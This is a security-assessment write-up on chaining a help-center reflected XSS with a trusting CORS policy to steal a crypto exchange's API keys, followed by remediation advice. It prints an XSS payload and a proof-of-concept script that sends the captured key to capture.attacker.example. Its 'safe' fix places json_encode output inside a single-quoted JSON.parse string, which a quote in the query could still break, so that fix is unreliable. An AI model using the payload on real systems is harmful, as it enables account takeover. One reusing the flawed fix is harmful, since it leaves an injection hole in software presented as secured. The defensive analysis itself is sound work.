Chaining a Subdomain XSS Into API Token Theft
The assessment covered the web-facing infrastructure of a cryptocurrency exchange: authentication flows, trading APIs, withdrawal authorization, and the collection of subdomains that surrounded the main platform. Subdomain enumeration was part of the initial reconnaissance phase, and the results shaped where the assessment focused next.
The trading platform itself was well-constructed. Authentication required multi-factor verification, session tokens were bound to device fingerprints, and the withdrawal API required a signed confirmation that was validated server-side. None of those controls were the path in.
The path in was a help center.
Reconnaissance and Subdomain Mapping
Subdomain enumeration identified several dozen subdomains beyond the core trading platform. Most served infrastructure purposes — internal monitoring, build tooling, API gateway health checks — and were either not reachable from the external network or presented no attack surface.
A handful were user-facing: a documentation site for the exchange's developer API, a community forum, a status page, and a help center that hosted support articles and a searchable knowledge base.
Before diving into any of these individually, the reconnaissance phase included a CORS mapping pass against the main trading API. The test was straightforward: for each subdomain identified, send a request to the primary API origin with an Origin header set to the subdomain's URL and observe the response.
http
GET /api/v1/account/profile HTTP/1.1
Host: api.exchange.internal
Origin: https://help.exchange.internal
Cookie: session=<redacted>The response:
http
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://help.exchange.internal
Access-Control-Allow-Credentials: true
Content-Type: application/json
{
"user_id": "...",
"email": "...",
"api_key": "...",
"trading_enabled": true
}The API reflected the help center's origin in Access-Control-Allow-Origin and set Access-Control-Allow-Credentials: true. This confirmed that the browser would permit JavaScript running on the help center subdomain to make credentialed cross-origin requests to the trading API and read the response — including the API key returned in the profile endpoint's JSON.
The question became: was there a way to run arbitrary JavaScript on the help center subdomain?
The Reflected XSS
The help center's search functionality accepted a query string parameter and reflected its value in the page's response. The search results page displayed the query back to the user in a heading:
Showing results for: your search term
The reflection appeared without encoding in one specific location: inside a JavaScript block that populated analytics tracking data for the search event.
html
<script>
window.searchContext = {
query: "your search term",
results: 4
};
</script>Standard injection testing confirmed that the value was interpolated directly into the JavaScript block without sanitization. A query containing ","injected":true,"x":" closed the string, modified the object, and opened a new string that the parser accepted without error. More significantly, a payload containing </script><script>alert(document.domain)</script> terminated the inline script block entirely and executed in the context of the help center origin.
The reflected XSS was on https://help.exchange.internal. The CORS allow-list trusted https://help.exchange.internal. The chain was complete in concept; the remaining question was what could be done with it.
Constructing the Exploit Chain
The attack required a victim to click a link — the reflected XSS payload had to be delivered via a URL. For a cryptocurrency exchange with targeted users, this is not a high bar: a phishing message referencing a support article is a plausible lure. The URL could be shortened to obscure the payload.
The payload structure worked as follows:
- The victim clicks a URL pointing to the help center search page, with the XSS payload embedded in the
qparameter - The help center page loads and executes the injected script in the
help.exchange.internalorigin - The injected script makes a
fetchrequest tohttps://api.exchange.internal/api/v1/account/profilewithcredentials: 'include' - The browser attaches the victim's session cookie to the request
- The API responds with HTTP 200, including
Access-Control-Allow-Origin: https://help.exchange.internalandAccess-Control-Allow-Credentials: true - The browser permits the script to read the response body
- The script extracts the API key from the JSON response and exfiltrates it to an attacker-controlled server
The full proof-of-concept payload, constructed for the assessment environment using a controlled test account:
javascript
// Delivered via help center search XSS
fetch('https://api.exchange.internal/api/v1/account/profile', {
method: 'GET',
credentials: 'include'
})
.then(r => r.json())
.then(data => {
const key = data.api_key;
// Exfiltrate to attacker-controlled endpoint
new Image().src = 'https://capture.attacker.example/?k=' + encodeURIComponent(key);
});The test was conducted against a dedicated assessment account. The API key visible in the response matched the one assigned to the test account. No production accounts were accessed.
What the API Key Provided
The exchange's API key, once captured, provided access to the complete authenticated trading API without any further session requirement. The API key was not bound to a device fingerprint. It was not validated against a session in the same way the session cookie was. It could be used from any network location with any HTTP client.
With the API key, an attacker could:
- Query the account's full trading history, open positions, and balance information
- Place and cancel orders on any trading pair available to the account
- Access the account's internal messaging and notification history
- Enumerate recent transaction activity and counterparty addresses
Withdrawal of funds required a separate signed confirmation flow that the API key alone did not satisfy. The most significant risk was therefore not immediate fund theft — though order manipulation and transaction monitoring represented meaningful harm — but rather that the API key provided persistent, session-independent access that would survive a victim's password change.
Changing a password invalidated the session cookie but did not automatically rotate the API key. An attacker who captured the API key via the XSS chain would retain access to the account's trading API even after the victim became aware of an intrusion and attempted to remediate by changing their credentials.
Why Both Vulnerabilities Were Required
Each vulnerability, assessed in isolation, presented a limited threat.
The reflected XSS on the help center affected the help center domain. An attacker who controlled JavaScript execution on help.exchange.internal could modify help center content visible to a victim, redirect victims to phishing pages, or steal any cookies set on the help center domain. The help center did not store session tokens — it was a content site with no authentication of its own. The XSS impact was rated medium in isolation.
The CORS configuration on the trading API was a policy decision, not a bug. The help center legitimately needed to make authenticated requests to the API to display account-specific content. Including the help center in the CORS allow-list was the intended mechanism for enabling this. Reviewed in isolation, the CORS configuration was documented and purposeful.
Together, the vulnerabilities composed into a chain where the CORS policy's trust in the help center became exploitable through the help center's XSS. The trust relationship between the two systems converted a medium-severity XSS into a mechanism for API key exfiltration from any victim who clicked a link.
This composition is the defining characteristic of vulnerability chaining: individual issues that fall below a severity threshold for immediate remediation become high-severity when combined, and neither issue's risk rating in isolation captures the combined risk.
Remediation
The recommended remediation addressed both sides of the chain.
Remove content and marketing subdomains from the trading API's CORS allow-list. The help center's need to display account-specific content did not require that the help center origin be permitted to make credentialed cross-origin requests to the trading API and read the full response. The correct architecture was for the help center to request account context through a dedicated, limited endpoint that returned only the specific data needed — display name, subscription tier — rather than being trusted to receive the full API profile response including the API key.
Apply output encoding to the reflected search query. The XSS itself required a one-line fix: encoding the reflected value before interpolating it into the JavaScript block. The user-supplied search query should be JSON-encoded before placement in the window.searchContext assignment:
javascript
// Before — vulnerable
window.searchContext = {
query: "USER_QUERY_HERE",
};
// After — safe
window.searchContext = {
query: JSON.parse('<?php echo json_encode($query); ?>'),
};The primary fix was the CORS policy change, because it eliminated the exploitability of any future XSS on the help center subdomain, not just the one identified in the assessment. Any subdomain that hosts a content management platform, third-party documentation system, or community forum should be considered a potential XSS source and should not be included in the CORS allow-list for APIs that return authentication material.
Lessons for CORS Policy Review
CORS allow-lists are often built incrementally, one subdomain added at a time as features require it. Each individual addition seems reasonable — this subdomain is controlled by the organization, so it can be trusted. Over time, the allow-list accumulates entries across a range of subdomains with varying security postures.
A CORS policy review for a sensitive API should start by mapping every origin in the allow-list and answering two questions for each: does this origin host user-generated content, third-party content, or any input that could be reflected in an HTML or script context? And does this API return authentication material in responses that the allow-list origin is permitted to read?
Any origin that answers yes to both questions represents a subdomain XSS chain waiting to be discovered. The chain does not require an exotic vulnerability — a reflected search parameter, an unsanitized error message, or an unencoded URL fragment is sufficient.
For the underlying principles behind why browsers enforce the same-origin policy and what CORS relaxes, see the CORS misconfiguration knowledge article.